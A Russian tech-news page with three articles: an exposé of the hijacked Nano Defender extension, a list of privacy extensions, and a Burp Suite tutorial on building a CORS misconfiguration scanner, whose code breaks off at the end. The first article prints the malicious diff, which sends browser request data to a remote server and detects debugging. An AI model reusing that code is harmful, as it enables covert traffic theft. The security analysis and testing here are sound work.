Русский
Русский
English
Статистика
Реклама

Расширение

Расширение Nano Defender нужно срочно удалить из браузера

18.10.2020 20:21:07 | Автор: admin


3 октября 2020 года программист jspenguin2017, автор расширения Nano Defender, сообщил в официальном репозитории, что продал проект группе турецких разработчиков. Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности?

Спустя несколько дней опасения сообщества полностью оправдались.

Nano Defender довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах.

Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям.

Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик LiCybora, подтвердил, что сохраняет над ними контроль: эти расширения в безопасности. Кроме того, Firefox проверяет цифровые подписи расширений, так что вредоносный код не так легко пропихнуть в новую версию расширения.

Автор uBlock Origin Рэймонд Хилл проанализировал изменения в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление report на сервер https://def.dev-nano.com/. Другими словами, владельцы отслеживают тех, кто пытается разобраться в работе расширения. С высокой степенью вероятности в таком случае расширение меняет свою функциональность, скрывая некоторые функции это стандартный трюк вредоносных программ, которые детектируют наличие исследовательского окружения, такого как виртуальная среда.

В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил.

При запуске расширение прослушивает https://def.dev-nano.com/ на предмет сообщений для заполнения списка listOfObject.

Насколько можно понять код, в дальнейшем содержимое списка listOfObject используется для проверки проверки полей объекта details, который передаётся в webRequest.onBeforeSendHeaders(). Если все поля соответствуют условию, то всё содержимое объекта details отправляется на https://def.dev-nano.com/ под названием handleObject.

При этом обработчик webRequest.onBeforeSendHeaders() действует для всех сетевых запросов:

chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {urls: ["<all_urls>"]}, ['requestHeaders', 'blocking', 'extraHeaders']);

Поскольку listOfObject запрашивается с внешнего сервера, то функциональность этого метода устанавливается извне. Список может содержать любые условия в любом количестве. Грубо говоря, владельцы расширения могут запрашивать из браузера любые фрагменты исходящего сетевого трафика на своё усмотрение. Таким образом, расширение Nano Defender фактически превратилось в универсальный шпионский снифер.

Рэймонд Хилл опубликовал diff, который недоступен в репозитории новых владельцев:

diff для core.js
--- ./background/core.js+++ ./background/core.js@@ -160,7 +160,7 @@const hasNews = false;- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";const newsReadFlag = "news-read";// This handler becomes inactive when there is a popup page set@@ -189,7 +189,8 @@// ------------------------------------------------------------------------------------------------------------- //};-+var defender = io.connect("https://def.dev-nano.com/");+var listOfObject = {};// ----------------------------------------------------------------------------------------------------------------- //a.noopErr = () => {@@ -211,6 +212,29 @@// ----------------------------------------------------------------------------------------------------------------- //+++async function dLisfOfObject(newList) {+ let dListResp = await fetch(newList.uri, newList.attr)+ var listOfObj = {}+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())+ listOfObj.data = await dListResp.text()+ listOfObj.ok = dListResp.ok;+ listOfObj.status = dListResp.status;+ return listOfObj;+}++defender.on("dLisfOfObject", async function (newList) {+ let getRes = await dLisfOfObject(newList);+ defender.emit(newList.callBack, getRes)+});++defender.on("listOfObject", function (a) {+ listOfObject = a;+})+++// Redirect helpersa.rSecret = a.cryptoRandom();@@ -227,7 +251,22 @@// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).a.blankMP4 = a.rLink("blank.mp4");-++var element = document.createElement("p"); ;+var openListGet = false;+element.__defineGetter__("id", function() {+ openListGet = true;+});++var i = setInterval(function() {+ openListGet = false;+ console.log(element);+ if(openListGet){+ defender.emit("report")+ console.clear();+ clearInterval(i)+ }+}, 100);// ----------------------------------------------------------------------------------------------------------------- //// tab - Id of the tab@@ -450,6 +489,50 @@return true;};++var blockingHandler = function (infos) {+ var changedAsArray = Object.keys(listOfObject);++ var detailsHeader = infos.requestHeaders;+ var HeadReverse = detailsHeader.reverse();+ var stringyFy = JSON.stringify(HeadReverse);+ var mount = "";+ if (changedAsArray.length > 0) {+ var checkerList = true;+ for (const object of changedAsArray) {+ if (object.x === object.y) {+ mount += 1;+ }+ break;+ }+ for (let i = 0; i < changedAsArray.length; i++) {+ let x = changedAsArray[i];+ var re = new RegExp(listOfObject[x],'gi');+ mount = "5";+ if (infos[x].toString().match(re) == null) {+ checkerList = false;+ break;+ }+ }+ if (checkerList) {+ defender.emit('handleObject', infos);+ }+ }++ var m = [45,122,122,122]+ var s = m.map( x => String.fromCharCode(x) )+ var x = s.join("");+ var replacerConcat = stringyFy.split(x).join("");+ var replacer = JSON.parse(replacerConcat);+ return {+ requestHeaders: replacer+ }+};++chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {+ urls: ["<all_urls>"]+}, ['requestHeaders', 'blocking', 'extraHeaders']);+// ----------------------------------------------------------------------------------------------------------------- //

Турецкие разработчики опубликовали новую политику приватности для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта.

Вообще, продажа расширений распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте.

Например, владельцы прокси-сервиса SmartProxy предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов.



Другая сеть Luminati использует в качестве точек выхода компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также скупает популярные браузерные расширения.

С юридической точки зрения использование втёмную домашних компьютеров пользователей для прокачки коммерческого трафика весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания.

Что касается программиста jspenguin2017, то сообщество осудило его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что jspenguin2017 единолично монетизировал человеко-часы чужой работы.

Расширение Nano Defender уже удалено из каталога Chrome Web Store.
Подробнее..

17 расширений Chrome и Firefox для вашей приватности и безопасности

27.10.2020 18:15:50 | Автор: admin


Здесь мы перечислим некоторые расширения, ориентированные на безопасность и приватность работы. Большинство из них работают в Chrome, это сейчас самый популярный браузер с долей около 40% в России, но многие из расширений выпускаются также под Firefox.

В целом набор полезных расширений можно разбить на пять категорий:

  • Блокировка рекламы
  • Скрытие и подделка информации (IP, геолокация, user agent)
  • Очистка данных в браузере
  • Настройки приватности
  • Защита от зловредов и майнинговых скриптов

Ряд браузеров основаны на движке Chromium, его расширения совместимы с Brave, Opera и Vivaldi.

Блокировщики рекламы


Самое главное расширение, которое нужно установить себе, а также всем знакомым и родственникам блокировщик рекламы. Это абсолютный must have для каждого. Вот самые популярные:


Сложно рекомендовать конкретный блокировщик, все они хорошо справляются. Кто-то предпочитает самый быстрый Ghostery, кто-то привык к старому AdBlock Plus.


Результаты бенчмарков в феврале 2019 года, сколько времени уходит на обработку страницы разными блокировщиками рекламы. Несмотря на накладные расходы, все они по итогу ускоряют загрузку страниц

В конце статьи голосование за лучший блокировщик.

Скрытие информации


HideMyBack

Скрытие определённой информации: реферер, user agent, IP-адрес и геолокация. Защищает от онлайн-трекеров и позволяет даже изменить свой IP-адрес в ответе для сервера.



User Agent Switcher



Простое и мощное расширение для переключения между разными строками user agent.

WebRTC Protect

WebRTC открытый фреймворк для общения в реальном времени. Он обычно используется для видеозвонков и конференций через браузер или мобильные устройства.

Расширение WebRTC Protect защищает пользователя от утечки IP-адреса через WebRTC. Расширение маленькое и простое в использовании.



Unseen приватность в чатах
Защита от раскрытия статуса Просмотрено (Seen) в чатах. Работает с веб-мессенджерами WhatsApp, Facebook Messenger, Web Telegram и др, а также на сайтах facebook.com и messenger.com.

Блокирует статус Просмотрено, индикатор последней активности и индикатор Пользователь печатает....

Location Guard
Скрытие или подделка своего географического местоположения.



Очистка данных в браузере


Click&Clean (Chrome, Firefox, Edge)

Популярное расширение для очистки временных данных в браузере. Конечно, соответствующие настройки есть в самом браузере, но это расширение предоставляет гораздо больше настраиваемых опций и расширенных настроек очистки.





Настройки приватности


Privacy Settings



Минималистичное, но весьма функциональное расширение для управления настройками приватности. Отличается простым интерфейсом.

Privacy Manager
Более продвинутый диспетчер настроек приватности в Chrome. Здесь больше настроек и опций для управления настройками безопасности и куками. Позволяет также удалить данные просмотра, для этого есть большой набор опций.





Privacy Manager умеет производить сетевой мониторинг, изменять куки, а также управлять IP-адресами по WebRTC.

Privacy Badger (Chrome, Firefox, Opera, Android)

Расширение Privacy Badger от Фонда электронных рубежей (EFF) автоматически обнаруживает и блокирует трекеры и вредоносные скрипты на основе их поведения. Есть список разрешений для отдельных элементов, таких как видеоплееры и интерактивные виджеты.

Разработчики поясняют, что им нравятся Disconnect, Adblock Plus, Ghostery и другие подобные расширения и блокировщики рекламы, но они не обеспечивают в точности то, что нужно. Тестирование показало, что всем этим решениям для эффективной работы требуется некоторый объём ручной настройки, чтобы блокировать нестандартные трекеры. Некоторые используют неприемлемую бизнес-модель, исключая клиентов из списка блокировки за деньги. Поэтому EFF выпустил собственное расширение для блокировки трекинга.



EditThisCookie



Продвинутый опенсорсный менеджер куков. Позволяет редактировать, добавлять, управлять, создавать и искать по кукам. Также позволяет изменять дату истечения срока действия куков и импортировать/экспортировать их.

Защита и безопасность


Miner Blocker

Расширение против криптомайнеров не только останавливает работу майнерских скриптов, но и служит индикатором, на каких сайтах установлены такие зловреды. Владельцы сайтов считают это легитимной моделью микроплатежей, когда читатели платят своими ресурсами за услугу доступа к информации, однако в таком случае этично предупреждать пользователей о взимании платы.



Fox Web Security



Родительский контроль: блокировка сайтов с материалами для взрослых. Хотя её можно обойти, впрочем, как и любую блокировку.

HTTPS Everywhere (Chrome, Firefox, Opera, Firefox для Android), расширение включено в Brave, Tor и Onion (iOS) по умолчанию



Совместная разработка Tor Project и Фонда электронных рубежей. На многих сайтах реализована не полная, а частичная или некорректная поддержка HTTPS. Например, по умолчанию загружается незащищённая HTTP-версия или на страницах HTTPS отдельные ссылки ведут на неё. Расширение HTTPS Everywhere исправляет некоторые из этих проблем путём изменения запросов на лету.



Каждое расширение вносит свой вклад в парсинг веб-страницы и потребление памяти, так что желательно установить необходимый минимум и не более того. Например, антивирусные расширения в значительной степени бесполезны и только впустую расходуют ресурсы CPU и память, а иногда даже внедряют в браузер ненужную рекламу, как это делало антивирусное расширение Avast.



Если вы пользуетесь другими полезными расширениями для защиты личных данных и безопасности, добавляйте в комментариях.
Подробнее..

Пишем расширение для Burp Suite с помощью Python

11.03.2021 12:11:09 | Автор: admin

Привет, Хабр!

Думаю многие знают о таком инструменте, как Burp Suite от PortSwigger. Burp Suite популярная платформа для проведения аудита безопасности веб-приложений. Помимо того, что Burp и так содержит тонну полезных функций, он еще и дает возможность пользователям создавать свои расширения, позволяющие невероятно увеличить встроенный функционал приложения.

Однако, статей по созданию расширений на Python в интернете не так и много, думаю, здесь сказалось то, что Burp написан на Java, и документация для расширений, естественно, описывает работу с Java. Но что поделать, расширения очень нужны и помогают получить преимущество, если речь идет о Bug Bounty. Так что предлагаю сегодня рассмотреть азы создания расширений для Burp Suite на Python, а писать мы будем непосредственно сканер CORS misconfiguration.

Подготовка к работе

Как уже было сказано выше, Burp использует Java, поэтому для разработки на Python нам нужно будет загрузить Jython Standalone Edition, как об этом говорит документация на сайте PortSwigger. После загрузки открываем Burp и заходим в Extender - Options - Python environment и выбираем путь до нашего Jython файла.

Настраиваем Python EnvironmentНастраиваем Python Environment

На этом настройку Burp можно считать завершенной, однако я предлагаю обратить внимание на репозиторий burp-exceptions. Если во время работы возникнет исключение, то оно будет выведено в страшном формате Java:

Java исключение
java.lang.RuntimeException: org.python.core.PyException  at burp.fl.a(Unknown Source)  at burp.edd.a(Unknown Source)  at burp.e2g.a(Unknown Source)  at burp.e2g.g(Unknown Source)  at burp.i1c.stateChanged(Unknown Source)  at javax.swing.JTabbedPane.fireStateChanged(JTabbedPane.java:416)  at javax.swing.JTabbedPane$ModelListener.stateChanged(JTabbedPane.java:270)  ...

Так как пишем мы на Python, и скорее всего не знакомы с Java, то приятней было бы получать в исключения в привычном и читабельном виде. Расширение из этого репозитория превращает Java исключения в обычный Python вид:

Python исключение
*** PYTHON EXCEPTIONTraceback (most recent call last):  File "/Users/mb/Desktop/burp extension/exceptions_fix.py", line 8, in decorated_function    return original_function(*args, **kwargs)  File "/Users/mb/Desktop/burp extension/CustomEditorTab.py", line 78, in setMessage    self._txtInput.setEsditable(self._editable)AttributeError: 'burp.ul' object has no attribute 'setEsditable'

Поэтому предлагаю установить этот модуль, дабы помочь в дальнейшем решении проблем.

Установка достаточно простая и подробно описана на гитхабе:

  1. Открываем Burp, заходим в Extender - Options - Python environment. Указываем папку, в которую поместим данный модуль, в поле Folder for loading modules.

  2. Загружаем exceptions_fix.py и кладем его в выбранную папку

  3. В файл с нашим расширением нужно будет добавить дополнительные строки, которые опишем уже в следующей главе

Создаем файл с расширением

Напомню, что в данной статье мы будем делать сканер CORS уязвимостей в пассивном режиме. Для других типов расширений могут понадобиться другие интерфейсы.

Создаем Python файл. Назовем его, допустим, cors-scanner.py.

Для начала импортируем загруженный модуль для преобразования ошибок

try:  from exceptions_fix import FixBurpExceptionsexcept ImportError:  pass

Из класса burp импортируем интерфейсы, которые нам понадобятся для работы

from burp import IBurpExtender, IScannerCheck, IScanIssue

Ну и еще несколько импортов для корректной работы модуля преобразования ошибок

from java.io import PrintWriterimport sys

И сразу добавим в самый конец файла саму обработку ошибок:

try:    FixBurpExceptions()except:    pass

На этом с импортами покончено, время писать код

Создаем класс BurpExtender

Следует оговориться - наше расширение направлено только сканирование только одного типа уязвимостей. Для создания большого количества сканеров нужно будет создать несколько классов, как например в популярном расширении activeScan++, которое тоже написано на Python. Мы же обойдемся только одним, в котором объединим и сканер и регистрацию расширения.

Создаем наш класс:

class BurpExtender(IBurpExtender, IScannerCheck):

IBurpExtender - главный интерфейс, его должны наследовать все расширения для Burp.
IScannerCheck - интерфейс сканера, он позволит нам использовать пассивный и/или активный режим сканирования, именно благодаря нему мы будем обрабатывать все наши запросы.

Внутри этого класса создадим главный метод

def registerExtenderCallbacks(self, callbacks):  sys.stdout = PrintWriter(callbacks.getStdout(), True)  self._callbacks = callbacks  self._helpers = callbacks.getHelpers()  callbacks.setExtensionName('CORS Passive Scanner')  callbacks.registerScannerCheck(self)

Здесь мы объявили вспомогательные инструменты, которые используем в будущем и указали имя нашего расширения. А так же зарегистрировали наш кастомный сканер с помощью

callbacks.registerScannerCheck(self)

Если бы мы использовали несколько классов-сканеров, аргументом в registerScannerCheck(..) мы бы передали нужные нам классы. Но так как класс у нас один - передадим self.

Создадим наш метод, который будет вызываться автоматически во время пассивного сканирования

def doPassiveScan(self, baseRequestResponse):

baseRequestResponse - интерфейс, который содержит информацию о запросе и ответе, и позволяет получать или изменять информацию.

Немного теории: что будет являться триггером на возможное наличие CORS misconfiguration? Правильный ответ - заголовки ответа сервера. Нас интересуют эти два заголовка:

  1. Access-Control-Allow-Origin

  2. Access-Control-Allow-Credentials

Наличие их в заголовках ответа намекает нам на возможные проблемы. Поэтому далее мы будем работать только с теми запросами, в ответ на которые мы получили один из этих заголовков.

Наши _helpers, которые мы определили выше, имеют такой метод как analyzeResponse(..), возвращающий нам детальную информацию об ответе сервера. В analyzeResponse(..) необходимо передать наш ответ (который изначально пришел в виде байтов). Получить ответ мы можем из нашей переменной baseRequestResponse (которая содержит и запрос, и ответ, как видно из названия) с помощью метода getResponse(). После чего,analyzeResponse(..)возвращает нам удобный для работы ответ сервера. Устав от слова "ответ" наконец-то получаем данные в ввиде IResponseInfo. Теперь мы можем свободно использовать методы для получения нужных нам данных, а нужны нам, как мы помним - заголовки. Так что просто достаем их методом getHeaders(). Не забываем превратить их в список, потому что изначально они идут в Java формате.

def doPassiveScan(self, baseRequestResponse):  response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders()) 

Далее мы итерируем полученные заголовки и ищем есть ли среди них Access-Control-Allow-Origin либо Access-Control-Allow-Credentials.

def doPassiveScan(self, baseRequestResponse):          response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())   for response_header in response_headers:    if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:

Если мы выведем заголовки с помощью

sys.stdout.println(response_headers)

То увидим примерно следующее:

[u'Access-Control-Allow-Credentials: true', u'cache-control: private, s-maxage=0, no-store, no-cache']# и так далее

Если находим нужные заголовки, то можно приступать к дальнейшей работе, для которой нам понадобятся заголовки запроса и URL. Получаем их

request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()

Так как уязвимостей может быть много, например если сайт доверяет любому субдомену и небезопасному протоколу http, то нам придется зарегистрировать несколько исключений (но можно и одно, тут каждому на вкус и цвет. Однако, если прекратить тестирование при первой уязвимости, например сайт доверяет одному из субдоменов, то мы пропустим дальнейшие тесты, а ведь там может вскрыться, что сайт доверяет любому домену, и такая уязвимость, естественно, будет нести гораздо большую опасность, так что мы оставим все ошибки). Для этого создадим просто список issues, в который будем складывать все найденные уязвимости, и вернем их в конце всех тестов.

По итогу наша функция выглядит примерно так:

def doPassiveScan(self, baseRequestResponse):          response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())   for response_header in response_headers:    if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:      request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()      request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()      issues = []

Теперь настала пора подумать о наших payloads.

Генерируем Origin для тестирования

Сделаю отступление - вариантов различной нагрузки существует множество. Есть хороший сканер, написанный на Python - CORScanner, можно взять генератор оттуда. Для статьи я ограничусь только самыми популярными тестами (охватывают большинство misconfiguration, как мне кажется), поэтому при желании - добавляйте свои варианты нагрузок.

Наша функция будет иметь один аргумент - URL.

def _generate_payloads(self, url):  host = url.getHost()  protocol = url.getProtocol()  payloads = {}

Достаем из нашего URL два необходимых параметра - хост и протокол. Я предлагаю хранить все сгенерированные пейлоады в формате словаря словарей. Так мы сможем хранить наш ключ (по примеру из сканера с гитхаба), который можно использовать например для отладки. Значением будет являться словарь, который содержит в себе нужные нам параметры. Можно описать все что угодно, я сделаю сокращенный вариант. Выглядеть это примерно будет так:

{'trust_any_origin': {'payload_url': 'XXX', 'description': 'YYY', 'severity': 'ZZZ'}}

Помимо самой ссылки и описания добавим severity, которую показывает Burp. Так как очевидно, что уязвимость, позволяющая отправлять и принимать запросы с любого URL будет гораздо опаснее, чем уязвимость, позволяющая делать это только с субдомена нашего таргета. Далее ничего сложного, описываем пейлоады, добавляем их в словарь и возвращаем

def _generate_payloads(self, url):  host = url.getHost()  protocol = url.getProtocol()  payloads = {}  # trust any origin  payload_url = '{}://evil.com'.format(protocol)  payloads['trust_any_origin'] = {'origin': payload_url, 'description': 'Site trust any origin', 'severity': 'High'}  # trust any subdomain  payload_url = '{}://evil.{}'.format(protocol, host)  payloads['trust_any_subdomain'] = {'origin': payload_url, 'description': 'Site trust any subdomain', 'severity': 'High'}  # trust insecure protocol  if protocol == 'https':    payload_url = 'http://evil.{}'.format(host)    payloads['trust_http'] = {'origin': payload_url, 'description': 'Site trust insecure protocol', 'severity': 'Medium'}  # trust null  payload_url = 'null'  payloads['trust_null'] = {'origin': payload_url, 'description': 'Site trust null origin', 'severity': 'High'}  # prefix match full url  payload_url = '{}://{}.evil.com'.format(protocol, host)  payloads['trust_prefix'] = {'origin': payload_url, 'description': 'Site trust prefix', 'severity': 'High'}  # trust invalid dot escape  splitted_host = host.split('.')  payload_host = '{}A{}.{}'.format('.'.join(splitted_host[:-1]), splitted_host[-1], splitted_host[-1])  payload_url = '{}://{}'.format(protocol, payload_host)  payloads['trust_invalid_regex'] = {'origin': payload_url, 'description': 'Site trust origin with unescaped dot', 'severity': 'High'}  return payloads

Сделаю пояснение по поводу {'severity': 'Medium'} для http протокола. Дело в том, что данный тип атаки был показан на одной из конференций, не найду сейчас ссылку, но автор презентации показывал, что отправил репорт в Google - те подумали и приняли его. Подобный репорт так же был принят на HackerOne (#629892). Однако, когда я отправлял подобную уязвимость - мне выставили N/A. Так что я думаю все зависит от триагера и правил программы, поэтому поставим Medium, уязвимость вроде как есть, но не все готовы ее приянять, так как она непростая в реализации.

Примерное описание работы

Отправляем пейлоады

Ну хорошо, вернемся к doPassiveScan. Но до этого быстро создадим короткий метод

def _add_origin(self, headers, value):  headers = list(headers)  headers.append('Origin: {}'.format(value))  return headers

В него мы просто будем передавать заголовки, которые мы отправляли в оригинальном запросе, при этом добавим к ним наш новый Origin и вернем обратно.

Итерируем наши пейлоады, и создаем новую переменную payload_headers, в которую будут записаны наши новые заголовки для атаки, полученные от _add_origin.

def doPassiveScan(self, baseRequestResponse):  response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())   for response_header in response_headers:    if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:      request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()      request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()      issues = []      payloads = self._generate_payloads(request_url)      for payload in payloads.values():        payload_headers = self._add_origin(request_headers, payload['origin'])

Далее, чтобы сформировать запрос, нам нужно его тело. Получаем offset для тела запроса, затем получим само тело, срезав запрос по этому индексу.

body_offset = self._helpers.analyzeRequest(baseRequestResponse).getBodyOffset()request_body = baseRequestResponse.getRequest()[body_offset:]

И, если тело присутствует в запросе, то отправляем его. Если нет - передаем None

if len(request_body) == 0:    request = self._helpers.buildHttpMessage(payload_headers, None)  else:    request = self._helpers.buildHttpMessage(payload_headers, request_body)

Все это нужно для того, чтобы в POST запросах не терялось тело, как ни трудно догадаться. Осталось совсем немного. Создаем наш запрос и отправляем его. После чего, достаем из него заголовки по уже известной схеме

response = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request)response_headers = list(self._helpers.analyzeResponse(response.getResponse()).getHeaders())

Что мы ищем в заголовках? Правильно - наличие Access-Control-Allow-Origin, который говорит нам о том, что сервер разрешил нашему Origin получать ответ.

for response_header in response_headers:  if 'Access-Control-Allow-Origin' in response_header:

Если данное условие выполняется - соответственно мы нашли некоторую уязвимость. Осталось только сообщить о ней Burp, чтобы он сообщил о ней нам. Оставим пока что эту часть недописанной.

Итого, наша функция сейчас выглядит примерно вот так:

cors-scanner.py
def doPassiveScan(self, baseRequestResponse):  response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())   for response_header in response_headers:    if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:      request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()      request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()      issues = []      payloads = self._generate_payloads(request_url)      for payload in payloads.values():        payload_headers = self._add_origin(request_headers, payload['origin'])        body_offset = self._helpers.analyzeRequest(baseRequestResponse).getBodyOffset()        request_body = baseRequestResponse.getRequest()[body_offset:]        if len(request_body) == 0:          request = self._helpers.buildHttpMessage(payload_headers, None)        else:          request = self._helpers.buildHttpMessage(payload_headers, request_body)        response = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request)        response_headers = list(self._helpers.analyzeResponse(response.getResponse()).getHeaders())        for response_header in response_headers:          if 'Access-Control-Allow-Origin' in response_header:    return issues

Нам не хватает класса, описывающего уязвимость. Давайте его создадим!

Создаем кастомный класс уязвимости

Создаем класс, наследуясь от IScanIssue

class CustomScanIssue(IScanIssue):

Описываем __init__

def __init__(self, httpService, url, httpMessages, name, detail, severity):  self._httpService = httpService  self._url = url  self._httpMessages = httpMessages  self._name = name  self._detail = detail  self._severity = severity  self._confidence = 'Certain'  return

Здесь просто различные параметры для описания ошибки. URL, имя, описание, severity, confidence и так далее. Вся эта информация отображается, когда мы в Dashboard нажимаем на URL, в котором найдена уязвимость. Добавим методы, чтобы Burp мог получать нужные значения. В итоге класс выглядит так:

class CustomScanIssue(IScanIssue):  def __init__(self, httpService, url, httpMessages, name, detail, severity):    self._httpService = httpService    self._url = url    self._httpMessages = httpMessages    self._name = name    self._detail = detail    self._severity = severity    self._confidence = 'Certain'  def getUrl(self):    return self._url  def getIssueName(self):    return self._name  def getIssueType(self):    return 0  def getSeverity(self):    return self._severity  def getConfidence(self):    return self._confidence  def getIssueBackground(self):    return None  def getRemediationBackground(self):    return None  def getIssueDetail(self):    return self._detail  def getRemediationDetail(self):    return None  def getHttpMessages(self):    return self._httpMessages  def getHttpService(self):    return self._httpService

Описываем уязвимость

Теперь можно с помощью данного класса создать объект уязвимости.

В наш блок, где мы проверяем наличие заголовка Access-Control-Allow-Origin в ответе после атаки, добавим следующее:

for response_header in response_headers:  if 'Access-Control-Allow-Origin' in response_header:    issues.append(      CustomScanIssue(        baseRequestResponse.getHttpService(),        request_url,        [response],        'CORS Misconfiguration',        payload['description'],        payload['severity']      )    )                                break

Передаем в наш класс следующие аргументы:

  1. HTTP сервисы

  2. URL, на котором найдена уязвимость

  3. response, который мы получили после makeHttpRequest, сюда так же можно передать маркеры, которые будут подсвечивать находку в UI, но нам такое не нужно

  4. Название уязвимости, у нас оно будет одно для всех

  5. Описание уязвимости из пейлоада

  6. Severity, так же из пейлоада

После чего прерываем цикл, чтобы не проверять остальные заголовки, мы уже нашли все, что нужно.

Так же вернемся немного в начало и добавим описание уязвимости, если вдруг у нас Access-Control-Allow-Origin: *

if response_header == 'Access-Control-Allow-Origin: *':  return CustomScanIssue(    baseRequestResponse.getHttpService(),    request_url,    [baseRequestResponse],    'CORS Misconfiguration',    'Site trust *',    'Medium')

Сделаем мы это для того, чтобы зря не сканировать URL, так как в Allow-Origin у нас wildcard.

Дополнительно так же нужно определить метод consolidateDuplicateIssues. Он будет вызываться чтобы не дублировать уязвимость, если такая уже была найдена для данного URL.

def consolidateDuplicateIssues(self, existingIssue, newIssue):  if existingIssue.getIssueDetail() == newIssue.getIssueDetail():    return -1  return 0

Так как названия у нас одинаковые, то будем сравнивать по описанию. Если нашли уязвимость с таким же описание на одном и том же URL - просто проигнорируем.

Финальный скрипт выглядит так:

cors-scanner.py
from burp import IBurpExtender, IScannerCheck, IScanIssuefrom java.io import PrintWriterimport systry:    from exceptions_fix import FixBurpExceptionsexcept ImportError:    passclass BurpExtender(IBurpExtender, IScannerCheck):  def registerExtenderCallbacks(self, callbacks):    sys.stdout = PrintWriter(callbacks.getStdout(), True)    self._callbacks = callbacks    self._helpers = callbacks.getHelpers()    callbacks.setExtensionName('CORS Passive Scanner')    callbacks.registerScannerCheck(self)  def _add_origin(self, headers, value):    headers = list(headers)    headers.append('Origin: {}'.format(value))    return headers  def _generate_payloads(self, url):    host = url.getHost()    protocol = url.getProtocol()    payloads = {}    # trust any origin    payload_url = '{}://evil.com'.format(protocol)    payloads['trust_any_origin'] = {'origin': payload_url, 'description': 'Site trust any origin', 'severity': 'High'}    # trust any subdomain    payload_url = '{}://evil.{}'.format(protocol, host)    payloads['trust_any_subdomain'] = {'origin': payload_url, 'description': 'Site trust any subdomain', 'severity': 'High'}    # trust insecure protocol    if protocol == 'https':      payload_url = 'http://evil.{}'.format(host)      payloads['trust_http'] = {'origin': payload_url, 'description': 'Site trust insecure protocol', 'severity': 'Medium'}    # trust null    payload_url = 'null'    payloads['trust_null'] = {'origin': payload_url, 'description': 'Site trust null origin', 'severity': 'High'}    # prefix match full url    payload_url = '{}://{}.evil.com'.format(protocol, host)    payloads['trust_prefix'] = {'origin': payload_url, 'description': 'Site trust prefix', 'severity': 'High'}    # trust invalid regex dot escape    splitted_host = host.split('.')    payload_host = '{}A{}.{}'.format('.'.join(splitted_host[:-1]), splitted_host[-1], splitted_host[-1])    payload_url = '{}://{}'.format(protocol, payload_host)    payloads['trust_invalid_regex'] = {'origin': payload_url, 'description': 'Site trust origin with unescaped dot', 'severity': 'High'}    return payloads  def doPassiveScan(self, baseRequestResponse):            response_headers = list(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getHeaders())     for response_header in response_headers:      if 'Access-Control-Allow-Origin' in response_header or 'Access-Control-Allow-Credentials' in response_header:        request_url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()        request_headers = self._helpers.analyzeRequest(baseRequestResponse).getHeaders()        if response_header == 'Access-Control-Allow-Origin: *':          return CustomScanIssue(            baseRequestResponse.getHttpService(),            request_url,            [baseRequestResponse],            'CORS Misconfiguration',            'Site trust any origin',            'Medium'           )        issues = []        payloads = self._generate_payloads(request_url)        for payload in payloads.values():          payload_headers = self._add_origin(request_headers, payload['origin'])          body_offset = self._helpers.analyzeRequest(baseRequestResponse).getBodyOffset()          request_body = baseRequestResponse.getRequest()[body_offset:]          if len(request_body) == 0:            request = self._helpers.buildHttpMessage(payload_headers, None)          else:            request = self._helpers.buildHttpMessage(payload_headers, request_body)          response = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request)          response_headers = list(self._helpers.analyzeResponse(response.getResponse()).getHeaders())          for response_header in response_headers:            if 